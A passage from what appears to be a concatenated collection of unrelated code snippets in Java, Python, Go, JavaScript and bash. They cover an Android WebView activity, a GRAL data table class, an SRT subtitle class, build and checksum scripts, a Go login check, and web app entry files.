Log.e("data", text);
String url = scheme + "://" + host + path;
webView.loadUrl(url);
} catch (Exception e) {
e.printStackTrace();
}
}
}
/**
* 直接通过三方浏览器打开时,回退到首页
*/
public void handleFinish() {
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) {
finishAfterTransition();
} else {
finish();
}
if (!MainActivity.isLaunch) {
MainActivity.start(this);
}
}
/**
* 长按图片事件处理
*/
private boolean handleLongImage() {
final WebView.HitTestResult hitTestResult = webView.getHitTestResult();
// 如果是图片类型或者是带有图片链接的类型
if (hitTestResult.getType() == WebView.HitTestResult.IMAGE_TYPE ||
hitTestResult.getType() == WebView.HitTestResult.SRC_IMAGE_ANCHOR_TYPE) {
// 弹出保存图片的对话框
new AlertDialog.Builder(WebViewActivity.this)
.setItems(new String[]{"查看大图", "保存图片到相册"}, new DialogInterface.OnClickListener() {
@Override
public void onClick(DialogInterface dialog, int which) {
String picUrl = hitTestResult.getExtra();
//获取图片
Log.e("picUrl", picUrl);
switch (which) {
case 0:
break;
case 1:
break;
default:
break;
}
}
})
.show();
return true;
}
return false;
}
@Override
public boolean onKeyDown(int keyCode, KeyEvent event) {
if (keyCode == KeyEvent.KEYCODE_BACK) {
//全屏播放退出全屏
if (mWebChromeClient.inCustomView()) {
hideCustomView();
return true;
//返回网页上一页
} else if (webView.canGoBack()) {
webView.goBack();
return true;
//退出网页
} else {
handleFinish();
}
}
return false;
}
@Override
protected void onPause() {
super.onPause();
webView.onPause();
}
@Override
protected void onResume() {
super.onResume();
webView.onResume();
// 支付宝网页版在打开文章详情之后,无法点击按钮下一步
webView.resumeTimers();
// 设置为横屏
if (getRequestedOrientation() != ActivityInfo.SCREEN_ORIENTATION_LANDSCAPE) {
setRequestedOrientation(ActivityInfo.SCREEN_ORIENTATION_PORTRAIT);
}
}
@Override
protected void onDestroy() {
videoFullView.removeAllViews();
if (webView != null) {
ViewGroup parent = (ViewGroup) webView.getParent();
if (parent != null) {
parent.removeView(webView);
}
webView.removeAllViews();
webView.loadDataWithBaseURL(null, "", "text/html", "utf-8", null);
webView.stopLoading();
webView.setWebChromeClient(null);
webView.setWebViewClient(null);
webView.destroy();
webView = null;
}
super.onDestroy();
}
/**
* 打开网页:
*
* @param mContext 上下文
* @param mUrl 要加载的网页url
* @param mTitle 标题
*/
public static void loadUrl(Context mContext, String mUrl, String mTitle) {
Intent intent = new Intent(mContext, WebViewActivity.class);
intent.putExtra("mUrl", mUrl);
intent.putExtra("mTitle", mTitle == null ? "加载中..." : mTitle);
mContext.startActivity(intent);
}
public static void loadUrl(Context mContext, String mUrl) {
Intent intent = new Intent(mContext, WebViewActivity.class);
intent.putExtra("mUrl", mUrl);
intent.putExtra("mTitle", "详情");
mContext.startActivity(intent);
}
public void setUrl(){
File outputImage = new File(getExternalCacheDir(), "output_image.jpg");
try {
if (outputImage.exists()) {
outputImage.delete();
}
outputImage.createNewFile();
}catch (IOException e){
e.printStackTrace();
}
object.imageUrl = FileProvider.getUriForFile(this, "com.example.jingbin.webviewstudy", outputImage);
}
@Override
public void onRequestPermissionsResult(int requestCode, @NonNull String[] permissions, @NonNull int[] grantResults) {
switch (requestCode) {
case 1:
if(grantResults.length > 0 && grantResults[0] == getPackageManager().PERMISSION_GRANTED) {
openAlbum();
} else {
Toast.makeText(this, "缺少权限", Toast.LENGTH_LONG).show();
}
break;
case 3:
if(grantResults.length > 0 && grantResults[0] == getPackageManager().PERMISSION_GRANTED) {
// openAlbum();
// setUrl();
} else {
Toast.makeText(this, "缺少权限", Toast.LENGTH_LONG).show();
}
break;
case 103:
if (grantResults.length > 0) {
List<String> deniedPermissions = new ArrayList<>();
for (int i = 0; i < grantResults.length; i++) {
int grantResult = grantResults[i];
String permission = permissions[i];
if (grantResult != PackageManager.PERMISSION_GRANTED) {
deniedPermissions.add(permission);
}
}
Log.d("========", deniedPermissions.toString());
//被拒绝权限
if (deniedPermissions.isEmpty()) {
Toast.makeText(WebViewActivity.this, "请前往权限管理开启相机和相册相关权限", Toast.LENGTH_SHORT).show();
} else {
Toast.makeText(WebViewActivity.this, "请前往权限管理开启相机和相册相关权限", Toast.LENGTH_SHORT).show();
}
}
break;
case 123:
//6.0+获取录音权限后回调
Toast.makeText(this, "获取到录音权限", Toast.LENGTH_LONG).show();
}
// super.onRequestPermissionsResult(requestCode, permissions, grantResults);
}
}
|
import re
import urllib2
url = urllib2.build_opener()
url.addheaders = [('User-agent', 'Mozilla/5.0')]
urlpattern = "(http|ftp|https):\/\/[\w\-_]+(\.[\w\-_]+)+([\w\-\.,@?^=%&:/~\+#]*[\w\-\@?^=%&/~\+#])?"
strLinkList = []
current = ""
with open('step1_Imagelinks') as f:
while True:
c = f.read(1)
if not c:
print "End of step1_Imagelinks"
break
if c == ',':
# Extract the current URL
if re.match(urlpattern, current):
strLinkList.append(current)
current = ""
else:
current += c
# Print the valid URLs
print("Valid URLs:")
for url in strLinkList:
print(url) |
dose1_us_progress_bar = ProgressBar(
US_BAR_X, # Replace with the x-coordinate for the US progress bar
DOSE1_BAR_Y, # Use the same y-coordinate as the NY progress bar
BAR_WIDTH, # Use the same width as the NY progress bar
BAR_HEIGHT, # Use the same height as the NY progress bar
national_vaccination_percentage, # Replace with the national vaccination progress
bar_color=0x999999, # Use the same bar color as the NY progress bar
outline_color=0x000000, # Use the same outline color as the NY progress bar
) |
def some_function():
try:
print('try block')
except Exception as e: # Added exception handling
print('exception: ', e)
finally:
print('finally block') |
/*
* GRAL: GRAphing Library for Java(R)
*
* (C) Copyright 2009-2012 <NAME> <dev[at]erichseifert.de>,
* <NAME> <michael[at]erichseifert.de>
*
* This file is part of GRAL.
*
* GRAL is free software: you can redistribute it and/or modify
* it under the terms of the GNU Lesser General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* GRAL is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public License
* along with GRAL. If not, see <http://www.gnu.org/licenses/>.
*/
package de.erichseifert.gral.data;
import java.text.MessageFormat;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.Collection;
import java.util.Collections;
import java.util.Comparator;
import java.util.List;
import de.erichseifert.gral.data.comparators.DataComparator;
/**
* An in-memory, random access implementation of a mutable data source using
* arrays to store its values.
*
* @see DataSource
* @see MutableDataSource
*/
public class DataTable extends AbstractDataSource implements MutableDataSource {
/** Version id for serialization. */
private static final long serialVersionUID = 535236774042654449L;
/** All values stored as rows of column arrays. */
private final List<Comparable<?>[]> rows;
/**
* Comparator class for comparing two arrays containing row data using a
* specified set of {@code DataComparator}s.
*/
private final class RowComparator implements Comparator<Comparable<?>[]> {
/** Rules to use for sorting. */
private final DataComparator[] comparators;
/**
* Initializes a new instance with a specified set of
* {@code DataComparator}s.
* @param comparators Set of {@code DataComparator}s to use as rules.
*/
public RowComparator(DataComparator[] comparators) {
this.comparators = comparators;
}
/**
* Compares two rows using the rules defined by the
* {@code DataComparator}s of this instance.
* @return A negative number if first argument is less than the second,
* zero if first argument is equal to the second,
* or a positive integer as the greater than the second.
*/
public int compare(Comparable<?>[] row1, Comparable<?>[] row2) {
for (DataComparator comparator : comparators) {
int result = comparator.compare(row1, row2);
if (result != 0) {
return result;
}
}
return 0;
}
};
/**
* Initializes a new instance with the specified number of columns and
* column types.
* @param types Type for each column
*/
public DataTable(Class<? extends Comparable<?>>... types) {
super(types);
rows = new ArrayList<Comparable<?>[]>();
}
/**
* Initializes a new instance with the specified number of columns and
* a single column type.
* @param cols Number of columns
* @param type Data type for all columns
*/
@SuppressWarnings("unchecked")
public DataTable(int cols, Class<? extends Comparable<?>> type) {
this();
Class<? extends Comparable<?>>[] types = new Class[cols];
Arrays.fill(types, type);
setColumnTypes(types);
}
/**
* Initializes a new instance with the column types, and data of another
* data source.
* @param source Data source to clone.
*/
public DataTable(DataSource source) {
this(source.getColumnTypes());
for (int rowIndex = 0; rowIndex < source.getRowCount(); rowIndex++) {
add(source.getRow(rowIndex));
}
}
/**
* Adds a row with the specified comparable values to the table.
* The values are added in the order they are specified. If the types of
* the table columns and the values do not match, an
* {@code IllegalArgumentException} is thrown.
* @param values values to be added as a row
* @return Index of the row that has been added.
*/
public int add(Comparable<?>... values) {
return add(Arrays.asList(values));
}
/**
* Adds a row with the specified container's elements to the table.
* The values are added in the order they are specified. If the types of
* the table columns and the values do not match, an
* {@code IllegalArgumentException} is thrown.
* @param values values to be added as a row
* @return Index of the row that has been added.
*/
public int add(Collection<? extends Comparable<?>> values) {
DataChangeEvent[] events;
int rowCount;
synchronized (this) {
if (values.size() != getColumnCount()) {
throw new IllegalArgumentException(MessageFormat.format(
"Wrong number of columns! Expected {0,number,integer}, got {1,number,integer}.", //$NON-NLS-1$
getColumnCount(), values.size()));
}
int i = 0;
Comparable<?>[] row = new Comparable<?>[values.size()];
events = new DataChangeEvent[row.length];
Class<? extends Comparable<?>>[] types = getColumnTypes();
for (Comparable<?> value : values) {
if ((value != null)
&& !(types[i].isAssignableFrom(value.getClass()))) {
throw new IllegalArgumentException(MessageFormat.format(
"Wrong column type! Expected {0}, got {1}.", //$NON-NLS-1$
types[i], value.getClass()));
}
row[i] = value;
events[i] = new DataChangeEvent(this, i, rows.size(), null, value);
i++;
}
rows.add(row);
rowCount = rows.size();
}
notifyDataAdded(events);
return rowCount;
}
/**
* Adds the specified row to the table.
* The values are added in the order they are specified. If the types of
* the table columns and the values do not match, an
* {@code IllegalArgumentException} is thrown.
* @param row Row to be added
* @return Index of the row that has been added.
*/
public int add(Row row) {
List<Comparable<?>> values;
synchronized (row) {
values = new ArrayList<Comparable<?>>(row.size());
for (Comparable<?> value : row) {
values.add(value);
}
}
return add(values);
}
/**
* Removes a specified row from the table.
* @param row Index of the row to remove
*/
public void remove(int row) {
DataChangeEvent[] events;
synchronized (rows) {
Row r = new Row(this, row);
events = new DataChangeEvent[getColumnCount()];
for (int col = 0; col < events.length; col++) {
events[col] = new DataChangeEvent(this, col, row, r.get(col), null);
}
rows.remove(row);
}
notifyDataRemoved(events);
}
/**
* Removes the last row from the table.
*/
public void removeLast() {
DataChangeEvent[] events;
synchronized (this) {
int row = getRowCount() - 1;
Row r = new Row(this, row);
events = new DataChangeEvent[getColumnCount()];
for (int col = 0; col < events.length; col++) {
events[col] = new DataChangeEvent(this, col, row, r.get(col), null);
}
rows.remove(row);
}
notifyDataRemoved(events);
}
/**
* Deletes all rows this table contains.
*/
public void clear() {
synchronized (rows) {
rows.clear();
}
// FIXME Give arguments to the following method invocation
notifyDataRemoved();
}
/**
* Returns the row with the specified index.
* @param col index of the column to return
* @param row index of the row to return
* @return the specified value of the data cell
*/
public Comparable<?> get(int col, int row) {
Comparable<?>[] r;
synchronized (rows) {
if (row >= rows.size()) {
return null;
}
r = rows.get(row);
}
if (r == null) {
return null;
}
return r[col];
}
/**
* Sets the value of a cell specified by its column and row indexes.
* @param <T> Data type of the cell.
* @param col Column of the cell to change.
* @param row Row of the cell to change.
* @param value New value to be set.
* @return Old value that was replaced.
*/
@SuppressWarnings("unchecked")
public <T> Comparable<T> set(int col, int row, Comparable<T> value) {
Comparable<T> old;
DataChangeEvent event = null;
synchronized (this) {
old = (Comparable<T>) get(col, row);
if (!old.equals(value)) {
rows.get(row)[col] = value;
event = new DataChangeEvent(this, col, row, old, value);
}
}
if (event != null) {
notifyDataUpdated(event);
}
return old;
}
/**
* Returns the number of rows of the data source.
* @return number of rows in the data source.
*/
public int getRowCount() {
return rows.size();
}
/**
* Sorts the table rows with the specified DataComparators.
* The row values are compared in the way the comparators are specified.
* @param comparators comparators used for sorting
*/
public void sort(final DataComparator... comparators) {
synchronized (rows) {
RowComparator comparator = new RowComparator(comparators);
Collections.sort(rows, comparator);
}
}
}
|
<reponame>jonathanedgecombe/srt-library
package com.jonathanedgecombe.srt;
import java.util.ArrayList;
import java.util.List;
public class Subtitle {
private Timestamp startTime, endTime;
private final List<String> lines;
/* Create a new Subtitle with the given start and end times. */
public Subtitle(Timestamp startTime, Timestamp endTime) {
this.startTime = startTime;
this.endTime = endTime;
lines = new ArrayList<>();
}
public Timestamp getStartTime() {
return startTime;
}
public void setStartTime(Timestamp startTime) {
this.startTime = startTime;
}
public Timestamp getEndTime() {
return endTime;
}
public void setEndTime(Timestamp endTime) {
this.endTime = endTime;
}
public void clearLines() {
lines.clear();
}
public void addLine(String line) {
lines.add(line);
}
public void removeLine(String line) {
lines.remove(line);
}
public void removeLine(int index) {
lines.remove(index);
}
public String getLine(int index) {
return lines.get(index);
}
public List<String> getLines() {
return lines;
}
/* Compiles subtitle into a string with the given subtitle index. */
public String compile(int index) {
String subtitle = "";
subtitle += Integer.toString(index) + "\n";
subtitle += startTime.compile() + " --> " + endTime.compile() + "\n";
for (String line : lines) {
subtitle += line + "\n";
}
subtitle += "\n";
return subtitle;
}
public static String formatLine(String line) {
/* Replace CRLF with LF for neatness. */
line = line.replace("\r\n", "\n");
/* Empty line marks the end of a subtitle, replace it with a space. */
line = line.replace("\n\n", "\n \n");
return line;
}
}
|
import React from 'react';
//import logo from './logo.svg';
import './App.css';
import ImageMain from './components/ImageMain';
import { ContentMain } from './components/ContentMain';
export default class App extends React.Component {
constructor(props) {
super(props);
this.state = {
src: 'https://via.placeholder.com/50',
user: 'James Bond',
comment: 'Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.',
timePosted: '12s'
}
}
render() {
return(
<div className="commentCard">
<ImageMain src={this.state.src} />
<ContentMain nameParent={this.state.user} commentParent={this.state.comment} timeParent={this.state.timePosted} />
</div>
);
}
}
|
#!/bin/bash
# Define your tenant url
tenant="$(cat ../secret/tenant)";
# Define your API key
apiKey="$(cat ../secret/api-key)";
# Define appId
appId="$(cat ../secret/app-id)";
# Define url reload
url="https://$tenant/api/v1/apps/$appId";
# Get app
app="$(curl -s -X GET "$url" -H "Authorization: Bearer $apiKey")";
echo $app
|
def rock_paper_scissors(player1_choice, player2_choice):
valid_choices = ["rock", "paper", "scissors"]
if player1_choice not in valid_choices or player2_choice not in valid_choices:
return "Invalid input"
if player1_choice == player2_choice:
return "It's a tie"
elif (player1_choice == "rock" and player2_choice == "scissors") or \
(player1_choice == "scissors" and player2_choice == "paper") or \
(player1_choice == "paper" and player2_choice == "rock"):
return "Player 1 wins"
else:
return "Player 2 wins" |
public class Item {
private String value;
// Constructor to initialize the value field
public Item(String value) {
this.value = value;
}
// Method to set the value of the item
public void setValue(String value) {
this.value = value;
}
public String getValue() {
return value;
}
} |
VERSION=${VERSION-4.10.0}
VERSION_L=${VERSION_L-4.10}
DIR=$(dirname $(readlink -f ${BASH_SOURCE[0]}))
set -e +h
source $DIR/common.sh
depends "gtk+2" "xfconf" "startup-notification"
wget --content-disposition "http://archive.xfce.org/src/xfce/libxfce4ui/$VERSION_L/libxfce4ui-$VERSION.tar.bz2"
rm -rf libxfce4ui-$VERSION && tar -jxf "libxfce4ui-$VERSION.tar.bz2"
rm -f "libxfce4ui-$VERSION.tar.bz2"
cd libxfce4ui-$VERSION
./configure --prefix=$PREFIX --sysconfdir=/etc
make && make install
|
from typing import List
def remove_stopwords(words: List[str]) -> List[str]:
stopwords_list = ["the", "is", "at", "which", "on", "in", "it", "and", "or", "of", "to", "a", "an", "for", "with", "as", "by", "from", "into", "during", "including", "until", "against", "among", "throughout", "despite", "towards", "upon", "concerning", "to", "in", "of", "for", "on", "by", "with", "at", "from", "into", "during", "including", "until", "against", "among", "throughout", "despite", "towards", "upon", "with", "in", "of", "for", "on", "by", "with", "at", "from", "into", "during", "including", "until", "against", "among", "throughout", "despite", "towards", "upon", "about", "into", "through", "during", "before", "after", "above", "below", "to", "from", "up", "down", "in", "out", "on", "off", "over", "under", "again", "further", "then", "once", "here", "there", "when", "where", "why", "how", "all", "any", "both", "each", "few", "more", "most", "other", "some", "such", "no", "nor", "not", "only", "own", "same", "so", "than", "too", "very", "s", "t", "can", "will", "just", "don", "should", "now"]
return [word for word in words if word not in stopwords_list] |
gradle -i -PignoreTestFailures -Dfile.encoding=UTF-8 createDebugAndroidTestCoverageReport
|
<filename>internal/service/login/login.go<gh_stars>1-10
package login
import (
"errors"
"github.com/fighthorse/redisAdmin/component/conf"
"github.com/fighthorse/redisAdmin/component/gocache"
"github.com/fighthorse/redisAdmin/component/gotoken"
"github.com/fighthorse/redisAdmin/protos"
"github.com/gin-gonic/gin"
)
func VerifyUser(c *gin.Context, userName, pwd string) (bool, error) {
cfgList := conf.GConfig.LoginUser
for _, v := range cfgList {
if v.UserName == userName {
if v.UserPwd == pwd {
return true, nil
}
return false, errors.New("密码不正确")
}
}
return false, errors.New("账户不存在")
}
func Check(c *gin.Context, token string) (*protos.Person, error) {
// token 解析 jwt name
uid, err := gotoken.ParseToken(token, gotoken.LoginSecret)
if err != nil {
return nil, errors.New("token无效:" + err.Error())
}
// uid 缓存数据
data, ok := gocache.Get(uid)
// 不存在
if !ok {
return nil, errors.New("token无效-未查询到信息")
}
// 存在 对比 ip
dataInfo, _ := data.(protos.Person)
ip, _ := c.RemoteIP()
if dataInfo.Ip != ip.String() {
return nil, errors.New("ip发生变化重新登录")
}
return &dataInfo, nil
}
|
#!/usr/bin/env bash
set -x
#SRC_ROOT="$(cd "$(dirname "${BASH_SOURCE[0]}")" cd .. && pwd)"
SRC_ROOT="$(cd "$(dirname "${BASH_SOURCE[0]}")" && cd .. && pwd)"
# create ocp-etcd-backup-restore tar package
ocp_etcd_backup_restore_tar_linux="ocp-etcd-backup-restore-Linux.tar.gz"
ocp_etcd_backup_restore_tar_mac="ocp-etcd-backup-restore-macOS.tar.gz"
cd "$SRC_ROOT" || exit
build_dir="build"
cd $build_dir || exit
ocp_dir="ocp_etcd_backup_restore"
# create ocp_etcd_backup_restore tar sha256 file
echo >&2 "Compute sha256 of ${ocp_etcd_backup_restore_tar_linux} archive."
echo >&2 "Compute sha256 of ${ocp_etcd_backup_restore_tar_mac} archive."
checksum_cmd="shasum -a 256"
if hash sha256sum 2>/dev/null; then
checksum_cmd="sha256sum"
fi
ocp_etcd_backup_restore_sha256_file_linux="ocp-etcd-backup-restore-Linux-sha256.txt"
ocp_etcd_backup_restore_sha256_file_mac="ocp-etcd-backup-restore-macOS-sha256.txt"
"${checksum_cmd[@]}" $ocp_dir/"${ocp_etcd_backup_restore_tar_linux}" >$ocp_dir/$ocp_etcd_backup_restore_sha256_file_linux
"${checksum_cmd[@]}" $ocp_dir/"${ocp_etcd_backup_restore_tar_mac}" >$ocp_dir/$ocp_etcd_backup_restore_sha256_file_mac
echo >&2 "Successfully written sha256 of ${ocp_etcd_backup_restore_tar_linux} into $ocp_dir/$ocp_etcd_backup_restore_sha256_file_linux"
echo >&2 "Successfully written sha256 of ${ocp_etcd_backup_restore_tar_mac} into $ocp_dir/$ocp_etcd_backup_restore_sha256_file_mac"
|
<filename>cache/src/main/java/xyz/zkyq/cache/mapper/BookMapper.java
package xyz.zkyq.cache.mapper;
import org.apache.ibatis.annotations.Delete;
import org.apache.ibatis.annotations.Mapper;
import org.apache.ibatis.annotations.Select;
import org.apache.ibatis.annotations.Update;
import xyz.zkyq.cache.bean.Book;
/**
* @author zkyq
* @date 1/25/20
*/
@Mapper
public interface BookMapper {
@Select("SELECT * FROM book WHERE id = #{id}")
Book getBookById(Integer id);
@Update("UPDATE book SET bookName=#{bookName},bookAuthor=#{bookAuthor} WHERE id = #{id}")
void updateBook(Book book);
@Delete("DELETE FROM book WHERE id=#{id}")
void deleteBookById(Integer id);
}
|
<filename>collective_blog/settings/__init__.py
# -*- coding: utf-8 -*-
"""Django settings for collective_blog project
Generated by 'django-admin startproject' using Django 1.9.1.
For more information on this file, see
https://docs.djangoproject.com/en/1.9/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/1.9/ref/settings/
"""
import os
if 'TRAVIS' in os.environ:
from .travis_settings import *
elif 'HEROKU' in os.environ:
from .prod_settings import *
elif 'DEV' in os.environ:
from .dev_settings import *
else:
raise RuntimeError('you should specify running environment '
'(use `export DEV=1` for debug, '
'`export HEROKU=1` for production)')
|
package com.globalcollect.gateway.sdk.java.gc.riskassessments;
import com.globalcollect.gateway.sdk.java.gc.fei.definitions.Card;
import com.globalcollect.gateway.sdk.java.gc.riskassessments.definitions.RiskAssessment;
/**
* class RiskAssessmentCard
*/
public class RiskAssessmentCard extends RiskAssessment {
private Card card = null;
public Card getCard() {
return card;
}
public void setCard(Card value) {
this.card = value;
}
}
|
// vue
import Vue from 'vue'
// vuetify
import './core/vuetify'
// logging and google analytics
import * as log from './core/log'
import './core/analytics'
// browser update
import '@/components/core/browser-update.js'
// application
import App from './App.vue'
import drive from './drive/'
import router from './core/router'
import store from './store/'
// config
Vue.config.productionTip = false
// initialize log
log.initialize();
// import addins
// import './addins/example'
// connect to drive
drive.connect()
// create app
new Vue({
router,
store,
render: h => h(App),
}).$mount('#app')
|
#!/bin/bash
#strictly use anaconda build environment
export INCLUDE_PATH="${PREFIX}/include"
export LIBRARY_PATH="${PREFIX}/lib"
export LD_LIBRARY_PATH="${PREFIX}/lib"
export CFLAGS="-I$PREFIX/include -Wall -Wextra -Ofast"
export LDFLAGS="-L$PREFIX/lib"
sed -i.bak "/^PREFIX.*$/d" Makefile
sed -i.bak "/^CFLAGS.*$/d" Makefile
make CC=$CC LIBS="-L${PREFIX}/lib -lm"
mkdir -p "$PREFIX"/bin
cp cgmlst-dists "$PREFIX"/bin/
|
import AzureSerializer from './azure-cs';
import Ember from 'ember';
export default AzureSerializer.extend({
store: Ember.inject.service(),
normalize(modelClass, resourceHash) {
var person = resourceHash.response;
var personReference = {person: {data: person}};
// Format to JSONAPI form
delete resourceHash.response;
var data = {
id: resourceHash.personId,
type: modelClass.modelName,
attributes: personReference.person.data,
};
return { data: data };
}
}); |
def calculateChange(totalPrice, amountPaid):
if amountPaid < totalPrice:
return 0
else:
return amountPaid - totalPrice |
<reponame>krmahadevan/simplese-codegenerator
package com.rationaleemotions;
import java.util.List;
import org.openqa.selenium.By;
import org.openqa.selenium.Dimension;
import org.openqa.selenium.OutputType;
import org.openqa.selenium.Point;
import org.openqa.selenium.Rectangle;
import org.openqa.selenium.WebDriverException;
import org.openqa.selenium.WebElement;
public class FakeWebElement implements WebElement {
@Override
public void click() {}
@Override
public void submit() {}
@Override
public void sendKeys(CharSequence... keysToSend) {}
@Override
public void clear() {}
@Override
public String getTagName() {
return null;
}
@Override
public String getAttribute(String name) {
return null;
}
@Override
public boolean isSelected() {
return true;
}
@Override
public boolean isEnabled() {
return true;
}
@Override
public String getText() {
return null;
}
@Override
public List<WebElement> findElements(By by) {
return null;
}
@Override
public WebElement findElement(By by) {
return new FakeWebElement();
}
@Override
public boolean isDisplayed() {
return true;
}
@Override
public Point getLocation() {
return new Point(0, 0);
}
@Override
public Dimension getSize() {
return new Dimension(10, 10);
}
@Override
public Rectangle getRect() {
return new Rectangle(new Point(0, 0), new Dimension(10, 10));
}
@Override
public String getCssValue(String propertyName) {
return null;
}
@Override
public <X> X getScreenshotAs(OutputType<X> target) throws WebDriverException {
return null;
}
}
|
export default {
// 首页广告位
home: 'https://main.qcloudimg.com/raw/b5828e9dd3449ac4d9a3ede8c1e33b76.jpg',
// 文章列表页广告位
articleList:
'https://img.serverlesscloud.cn/2020720/1595233928210-%E9%A6%96%E9%A1%B5%E5%B9%BF%E5%91%8A-2-0720%402x.png',
// 列表页详情广告位
article:
'https://img.serverlesscloud.cn/2020720/1595246916361-3.%20%E6%96%87%E7%AB%A0%E9%98%85%E8%AF%BB%E9%A1%B5%E5%BA%95%E9%83%A8%E5%B9%BF%E5%91%8A0720%402x.png',
}
|
#!/bin/sh
# author: hoojo
# email: hoojo_@126.com
# github: https://github.com/hooj0
# create: 2018-08-29
# copyright by hoojo@2018
# @changelog Added process `pkill` shell command example
# ==========================================================================
#
# ==========================================================================
#
# --------------------------------------------------------------------------
# ==========================================================================
# 示例:
# ==========================================================================
# output:
# --------------------------------------------------------------------------
#
# ==========================================================================
# 示例:
# ==========================================================================
# output:
# --------------------------------------------------------------------------
#
read exits |
<filename>src/main/java/com/github/passerr/idea/plugins/spring/web/po/StringBuilderConverter.java
package com.github.passerr.idea.plugins.spring.web.po;
import com.intellij.util.xmlb.Converter;
import org.jetbrains.annotations.NotNull;
import org.jetbrains.annotations.Nullable;
/**
* {@link StringBuilder}转换器
* @author xiehai
* @date 2021/07/02 16:24
* @Copyright(c) tellyes tech. inc. co.,ltd
*/
public class StringBuilderConverter extends Converter<StringBuilder> {
@Nullable
@Override
public StringBuilder fromString(@NotNull String value) {
return new StringBuilder(value);
}
@NotNull
@Override
public String toString(@NotNull StringBuilder stringBuilder) {
return stringBuilder.toString();
}
} |
dbname='local'
summary_tables=(
"boundary_vaccstates" "boundary_vacclgas" "boundary_vaccwards"
"fc_poi_school" "fc_poi_church" "fc_poi_mosque" "fc_poi_market"
"fc_poi_health_facilities" "fc_poi_pharmarcy" "fc_poi_prison"
"fe_builtuparea" "fe_hamletareas" "fe_nonresidentialarea"
"fe_smlsettlementareas"
)
summary_query="SELECT 'summary: $dbname'"
for table in "${summary_tables[@]}"
do
echo 'building summary query...'
summary_query="$summary_query,
(SELECT COUNT(*) FROM $schema.$table) as \"$table\""
done
echo $summary_query
|
<filename>src/main/java/malte0811/controlengineering/network/panellayout/FullSync.java
package malte0811.controlengineering.network.panellayout;
import malte0811.controlengineering.controlpanels.PlacedComponent;
import malte0811.controlengineering.network.PacketUtils;
import net.minecraft.network.FriendlyByteBuf;
import net.minecraft.world.level.Level;
import java.util.List;
public class FullSync extends PanelSubPacket {
private final List<PlacedComponent> allComponents;
public FullSync(List<PlacedComponent> allComponents) {
this.allComponents = allComponents;
}
public FullSync(FriendlyByteBuf buffer) {
this(PacketUtils.readList(buffer, PlacedComponent::readWithoutState));
}
@Override
protected void write(FriendlyByteBuf out) {
PacketUtils.writeList(out, allComponents, PlacedComponent::writeToWithoutState);
}
@Override
public boolean process(Level level, List<PlacedComponent> allComponents) {
allComponents.clear();
allComponents.addAll(this.allComponents);
return true;
}
@Override
public boolean allowSendingToServer() {
return false;
}
}
|
def add_item_to_system(item_name, price, quantity):
cur.execute("INSERT INTO items (item_name, price, quantity) VALUES (%s, %s, %s)", (item_name, price, quantity))
conn.commit()
print(f"Item {item_name} added to the system successfully.") |
import json
data = {
"name": "Alice",
"age": 39,
"address": "123 Main Street"
}
json_data = json.dumps(data)
print(json_data) # will print {"name": "Alice", "age": 39, "address": "123 Main Street"} |
import copy
class Field:
def __init__(self, table):
self.table = table
def copy_field(self):
return Field(copy.deepcopy(self.table)) |
case "$COMPILER" in
gcc*)
CXX=g++${COMPILER#gcc}
CC=gcc${COMPILER#gcc}
;;
clang*)
CXX=clang++${COMPILER#clang}
CC=clang${COMPILER#clang}
# initially was only for clang ≥ 7
CXXFLAGS="-stdlib=libc++"
;;
msvc*)
#echo "${COMPILER} not supported compiler"
#exit 1
;;
*)
echo "${COMPILER} not supported compiler"
exit 1
;;
esac
case "$DEBUG" in
true)
CMAKE_BUILD_TYPE="Debug"
;;
false|"")
CMAKE_BUILD_TYPE="Release"
;;
*)
echo "Not supported DEBUG flag [$DEBUG]"
exit 1
;;
esac
export CXX CC CXXFLAGS CMAKE_BUILD_TYPE
if [ -z ${PYTHON_SUFFIX+x} ]; then
# variable not set, use PYTHON_VERSION
export PYTHON_SUFFIX=${PYTHON_VERSION}
fi
if [ -n "$PYTHON_PREFIX_PATH" ]; then
export PY_CMD=${PYTHON_PREFIX_PATH}/python$PYTHON_SUFFIX
else
export PY_CMD=python$PYTHON_SUFFIX
fi
|
import { Logging } from "../modules/Logging";
import { CloudDimensions } from "../modules/Models/CloudDimensions";
import CloudPoint from "../modules/Models/CloudPoint";
function _loadCloud(cloudPoints: Array<CloudPoint>, cloudDimensions: CloudDimensions): Promise<void> {
return new Promise<void>((resolve) => {
let startTime = Date.now();
new Promise<Array<CloudPoint>>((resolve) => {
// get the points where we want them if we are normalizing them
if (cloudDimensions != null) {
let processed = new Array<CloudPoint>();
cloudPoints.forEach((cloudPoint: CloudPoint) => {
cloudPoint.x = (cloudPoint.x-cloudDimensions.xOffset)*cloudDimensions.xRatio;
cloudPoint.y = (cloudPoint.y-cloudDimensions.yOffset)*cloudDimensions.yRatio;
cloudPoint.z = (cloudPoint.z-cloudDimensions.zOffset)*cloudDimensions.zRatio;
processed.push(cloudPoint);
});
resolve(processed);
}
else {
resolve(cloudPoints);
}
}).then((points: Array<CloudPoint>) => {
_getPointsVerticies(points).then((vertices) => {
Logging.log("Time to build: " + (Date.now() - startTime));
postMessage({
action: "cloudVerticies",
vertices: vertices
});
});
resolve();
});
});
}
function _getPointsVerticies(cloud: Array<CloudPoint>): Promise<Float32Array> {
return new Promise((resolve) => {
const currentCloudArray = Array.from(cloud.values());
let startLooping = Date.now();
let vertices = [];
currentCloudArray.forEach((value: CloudPoint) => {
vertices.push(value.x);
vertices.push(value.y);
vertices.push(value.z);
});
for (let i=0; i<vertices.length; i+=3) {
vertices[i] = vertices[i];
vertices[i+1] = vertices[i+1];
vertices[i+2] = vertices[i+2];
}
Logging.log("Time to vertex: " + (Date.now() - startLooping));
resolve(new Float32Array(vertices));
});
}
addEventListener('message', ({ data }) => {
if (data.action == "buildVerticies") {
const pointCloudData = data.pointCloudData as Array<CloudPoint>;
const pointCloudDimensions = data.pointCloudDimensions as CloudDimensions;
_loadCloud(pointCloudData, pointCloudDimensions);
}
}); |
<reponame>pytorch/live
/**
* Copyright (c) Meta Platforms, Inc. and affiliates.
*
